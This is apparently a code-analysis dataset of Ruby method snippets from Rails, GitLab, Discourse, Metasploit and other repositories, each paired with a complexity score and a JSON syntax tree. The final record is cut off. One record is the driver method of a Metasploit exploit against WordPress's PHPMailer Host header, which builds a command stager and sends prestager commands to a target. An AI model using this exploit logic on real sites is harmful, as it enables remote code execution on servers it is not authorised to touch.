{"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme_field.rb","start_line":535,"raw_source":"def compile_scss(prepended_scss = nil)\n    prepended_scss ||= Stylesheet::Importer.new({}).prepended_scss\n\n    self.theme.with_scss_load_paths do |load_paths|\n      Stylesheet::Compiler.compile(\n        <<~SCSS,\n          #{prepended_scss}\n          #{self.theme.scss_variables}\n          @import \\\"theme-entrypoint/#{scss_entrypoint_name}\\\";\n        SCSS\n        \"#{Theme.targets[self.target_id]}.scss\",\n        theme: self.theme,\n        load_paths: load_paths,\n      )\n    end\n  end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"compile_scss\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"prepended_scss\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prepended_scss\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stylesheet\"]},\"Importer\"]},\"new\",{\"type\":\"hash\",\"children\":[]}]},\"prepended_scss\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"theme\"]},\"with_scss_load_paths\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"load_paths\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stylesheet\"]},\"Compiler\"]},\"compile\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepended_scss\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"theme\"]},\"scss_variables\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"@import \\\"theme-entrypoint/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scss_entrypoint_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Theme\"]},\"targets\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"target_id\"]}]}]},{\"type\":\"str\",\"children\":[\".scss\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"theme\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"theme\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_paths\"]},{\"type\":\"lvar\",\"children\":[\"load_paths\"]}]}]}]}]}]}]}","id":"78d55674-f77f-48d9-9023-42a0927d22f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/gitlab_uploader.rb","start_line":79,"raw_source":"def empty_size?\n    size == 0\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty_size?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"d41cb1bb-583e-4348-add8-e2ed58e69a0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/deployments/link_merge_requests_service.rb","start_line":107,"raw_source":"def merge_requests_by_head_commit_sha(commits)\n      merge_request_diffs = MergeRequestDiff.by_head_commit_sha(commits)\n\n      project.merge_requests.merged.by_latest_merge_request_diffs(merge_request_diffs)\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_requests_by_head_commit_sha\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commits\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_request_diffs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestDiff\"]},\"by_head_commit_sha\",{\"type\":\"lvar\",\"children\":[\"commits\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"merge_requests\"]},\"merged\"]},\"by_latest_merge_request_diffs\",{\"type\":\"lvar\",\"children\":[\"merge_request_diffs\"]}]}]}]}","id":"3affa110-9929-4934-8baf-31b41a7837a8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":2088,"raw_source":"def flattened_args(args)\n        args.flat_map { |e| (e.is_a?(Hash) || e.is_a?(Array)) ? flattened_args(e.to_a) : e }\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"flattened_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"flattened_args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_a\"]}]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}","id":"dabfc5e4-dec4-4f84-84ee-4d153f6c59aa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/wp_phpmailer_host_header.rb","start_line":89,"raw_source":"def exploit\n    if check == CheckCode::Safe\n      print_error(\"Is WordPress installed at #{full_uri} ?\")\n      return\n    end\n\n    # Since everything goes through strtolower(), we need lowercase\n    print_status(\"Generating #{cmdstager_flavor} command stager\")\n    @cmdstager = generate_cmdstager(\n      'Path' => \"/#{Rex::Text.rand_text_alpha_lower(8)}\",\n      :temp => datastore['WritableDir'],\n      :file => File.basename(cmdstager_path),\n      :nospace => true\n    ).join(';')\n\n    print_status(\"Generating and sending Exim prestager\")\n    generate_prestager.each do |command|\n      vprint_status(\"Sending #{command}\")\n      send_request_payload(command)\n    end\n  end","complexity_score":25.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Is WordPress installed at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" ?\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generating \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmdstager_flavor\"]}]},{\"type\":\"str\",\"children\":[\" command stager\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cmdstager\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"temp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[null,\"cmdstager_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nospace\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Generating and sending Exim prestager\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_prestager\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_payload\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}]}]}","id":"938f60c3-155a-4784-b88f-079219068746"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/calculations.rb","start_line":479,"raw_source":"def operation_over_aggregate_column(column, operation, distinct)\n        operation == \"count\" ? column.count(distinct) : column.public_send(operation)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"operation_over_aggregate_column\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"operation\"]},{\"type\":\"arg\",\"children\":[\"distinct\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"operation\"]},\"==\",{\"type\":\"str\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"count\",{\"type\":\"lvar\",\"children\":[\"distinct\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"operation\"]}]}]}]}","id":"99b2cd5e-be07-4cdc-a6a7-9d943a46cd59"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/i18n_unit_test.rb","start_line":36,"raw_source":"def test_sets_default_path_to_en\n    assert_equal(I18n::DEFAULT_LOCALE, I18n.new.path)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sets_default_path_to_en\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"DEFAULT_LOCALE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"new\"]},\"path\"]}]}]}","id":"0b852ef4-93c0-483d-9d48-4420d144e7f9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/rdp.rb","start_line":672,"raw_source":"def bytes_to_bignum(bytes_val, order = \"little\")\n    bytes = bin_to_hex(bytes_val)\n    if order == \"little\"\n      bytes = bytes.scan(/../).reverse.join('')\n    end\n    s = \"0x\" + bytes\n    s.to_i(16)\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"bytes_to_bignum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bytes_val\"]},{\"type\":\"optarg\",\"children\":[\"order\",{\"type\":\"str\",\"children\":[\"little\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[null,\"bin_to_hex\",{\"type\":\"lvar\",\"children\":[\"bytes_val\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"==\",{\"type\":\"str\",\"children\":[\"little\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bytes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bytes\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"reverse\"]},\"join\",{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"bytes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]}]}]}","id":"e33389d8-9d4a-4ad1-9e69-25c2b53fcb09"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/rspec_order_checker.rb","start_line":175,"raw_source":"def build_description(passing_specs, failing_specs, total_entries)\n      all_processed = passing_specs.count + failing_specs.count\n\n      description = <<~MARKDOWN\n        ## RSpec Order Dependency Check Results\n\n        Processed #{all_processed} spec files from `spec/support/rspec_order_todo.yml`:\n\n        - **#{passing_specs.count} specs passed** and can now run in random order\n        - **#{failing_specs.count} specs failed** and were moved to `spec/support/rspec_order_failures.yml`\n\n        ###  Passed specs (#{passing_specs.count}):\n      MARKDOWN\n\n      description += if passing_specs.any?\n                       passing_specs.map { |spec| \"- `#{spec}`\" }.join(\"\\n\")\n                     else\n                       \"_None in this batch_\"\n                     end\n\n      description += \"\\n\\n### Failed specs (#{failing_specs.count}):\\n\"\n\n      description += if failing_specs.any?\n                       failing_specs.map { |spec| \"- `#{spec}`\" }.join(\"\\n\")\n                     else\n                       \"_None in this batch_\"\n                     end\n\n      description += <<~MARKDOWN\n\n        ### Progress Summary:\n\n        - **Processed this batch**: #{all_processed} specs\n        - **Passed (can run randomly)**: #{passing_specs.count} specs\n        - **Failed (moved to failure list)**: #{failing_specs.count} specs\n        - **Remaining in TODO**: #{total_entries - all_processed} specs (excluding ee specs)\n        - **TODO list cleanup**: Removed #{all_processed} processed entries\n\n        ### Debugging Failed Specs:\n\n        For specs that failed the order dependency check:\n\n        1. **Use the existing script**: `scripts/rspec_check_order_dependence <spec_file>`\n        2. **The script automatically runs**: defined order → reverse order → random order → bisect on failure\n        3. **Fix the root cause**: Remove shared state or add proper cleanup\n        4. **Re-test**: Run the spec again to verify the fix\n\n        ---\n\n        Relates to #{RELATED_ISSUE_URL}\n\n        > The order dependency checks were performed using `scripts/rspec_check_order_dependence` which includes comprehensive testing (defined/reverse/random order) and automatic bisect analysis on failures.\n      MARKDOWN\n\n      description\n    end","complexity_score":34.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_description\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"passing_specs\"]},{\"type\":\"arg\",\"children\":[\"failing_specs\"]},{\"type\":\"arg\",\"children\":[\"total_entries\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_processed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passing_specs\"]},\"count\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failing_specs\"]},\"count\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"description\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"## RSpec Order Dependency Check Results\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Processed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_processed\"]}]},{\"type\":\"str\",\"children\":[\" spec files from `spec/support/rspec_order_todo.yml`:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"- **\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passing_specs\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" specs passed** and can now run in random order\\n\"]},{\"type\":\"str\",\"children\":[\"- **\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failing_specs\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" specs failed** and were moved to `spec/support/rspec_order_failures.yml`\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"###  Passed specs (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passing_specs\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\"):\\n\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"description\"]},\"+\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passing_specs\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passing_specs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"str\",\"children\":[\"_None in this batch_\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"description\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\\n### Failed specs (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failing_specs\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\"):\\n\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"description\"]},\"+\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failing_specs\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failing_specs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"str\",\"children\":[\"_None in this batch_\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"description\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### Progress Summary:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"- **Processed this batch**: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_processed\"]}]},{\"type\":\"str\",\"children\":[\" specs\\n\"]},{\"type\":\"str\",\"children\":[\"- **Passed (can run randomly)**: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"passing_specs\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" specs\\n\"]},{\"type\":\"str\",\"children\":[\"- **Failed (moved to failure list)**: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failing_specs\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" specs\\n\"]},{\"type\":\"str\",\"children\":[\"- **Remaining in TODO**: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total_entries\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"all_processed\"]}]}]},{\"type\":\"str\",\"children\":[\" specs (excluding ee specs)\\n\"]},{\"type\":\"str\",\"children\":[\"- **TODO list cleanup**: Removed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_processed\"]}]},{\"type\":\"str\",\"children\":[\" processed entries\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### Debugging Failed Specs:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"For specs that failed the order dependency check:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"1. **Use the existing script**: `scripts/rspec_check_order_dependence <spec_file>`\\n\"]},{\"type\":\"str\",\"children\":[\"2. **The script automatically runs**: defined order → reverse order → random order → bisect on failure\\n\"]},{\"type\":\"str\",\"children\":[\"3. **Fix the root cause**: Remove shared state or add proper cleanup\\n\"]},{\"type\":\"str\",\"children\":[\"4. **Re-test**: Run the spec again to verify the fix\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"---\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Relates to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RELATED_ISSUE_URL\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"> The order dependency checks were performed using `scripts/rspec_check_order_dependence` which includes comprehensive testing (defined/reverse/random order) and automatic bisect analysis on failures.\\n\"]}]}]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}","id":"e4da07d6-f17c-420a-951e-d2339af83728"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/locking_test.rb","start_line":44,"raw_source":"def test_non_integer_lock_existing\n    s1 = StringKeyObject.find(\"record1\")\n    s2 = StringKeyObject.find(\"record1\")\n    assert_equal 0, s1.lock_version\n    assert_equal 0, s2.lock_version\n\n    s1.name = \"updated record\"\n    s1.save!\n    assert_equal 1, s1.lock_version\n    assert_equal 0, s2.lock_version\n\n    s2.name = \"doubly updated record\"\n    assert_raise(ActiveRecord::StaleObjectError) { s2.save! }\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_non_integer_lock_existing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringKeyObject\"]},\"find\",{\"type\":\"str\",\"children\":[\"record1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringKeyObject\"]},\"find\",{\"type\":\"str\",\"children\":[\"record1\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s1\"]},\"lock_version\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2\"]},\"lock_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s1\"]},\"name=\",{\"type\":\"str\",\"children\":[\"updated record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s1\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s1\"]},\"lock_version\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2\"]},\"lock_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2\"]},\"name=\",{\"type\":\"str\",\"children\":[\"doubly updated record\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StaleObjectError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2\"]},\"save!\"]}]}]}]}","id":"bc2fd2c1-295f-4bb9-8011-594e781e61f4"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":927,"raw_source":"def test_sms_to\n    assert_dom_equal %{<a href=\"sms:15155555785;\">15155555785</a>}, sms_to(\"15155555785\")\n    assert_dom_equal %{<a href=\"sms:15155555785;\">Jim Jones</a>}, sms_to(\"15155555785\", \"Jim Jones\")\n    assert_dom_equal(\n      %{<a class=\"admin\" href=\"sms:15155555785;\">Jim Jones</a>},\n      sms_to(\"15155555785\", \"Jim Jones\", \"class\" => \"admin\")\n    )\n    assert_equal sms_to(\"15155555785\", \"Jim Jones\", \"class\" => \"admin\"),\n                 sms_to(\"15155555785\", \"Jim Jones\", class: \"admin\")\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sms_to\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a href=\\\"sms:15155555785;\\\">15155555785</a>\"]},{\"type\":\"send\",\"children\":[null,\"sms_to\",{\"type\":\"str\",\"children\":[\"15155555785\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a href=\\\"sms:15155555785;\\\">Jim Jones</a>\"]},{\"type\":\"send\",\"children\":[null,\"sms_to\",{\"type\":\"str\",\"children\":[\"15155555785\"]},{\"type\":\"str\",\"children\":[\"Jim Jones\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a class=\\\"admin\\\" href=\\\"sms:15155555785;\\\">Jim Jones</a>\"]},{\"type\":\"send\",\"children\":[null,\"sms_to\",{\"type\":\"str\",\"children\":[\"15155555785\"]},{\"type\":\"str\",\"children\":[\"Jim Jones\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"sms_to\",{\"type\":\"str\",\"children\":[\"15155555785\"]},{\"type\":\"str\",\"children\":[\"Jim Jones\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sms_to\",{\"type\":\"str\",\"children\":[\"15155555785\"]},{\"type\":\"str\",\"children\":[\"Jim Jones\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]}]}]}]}]}","id":"4196ed7b-579e-441c-abee-d99f86d3f05f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/project_phase_gate_filter.rb","start_line":97,"raw_source":"def gate_where(start_date, finish_date = start_date)\n    project_phase_scope\n      .where(date_range_clause(Project::Phase.table_name,\n                               column_name,\n                               start_date,\n                               finish_date))\n  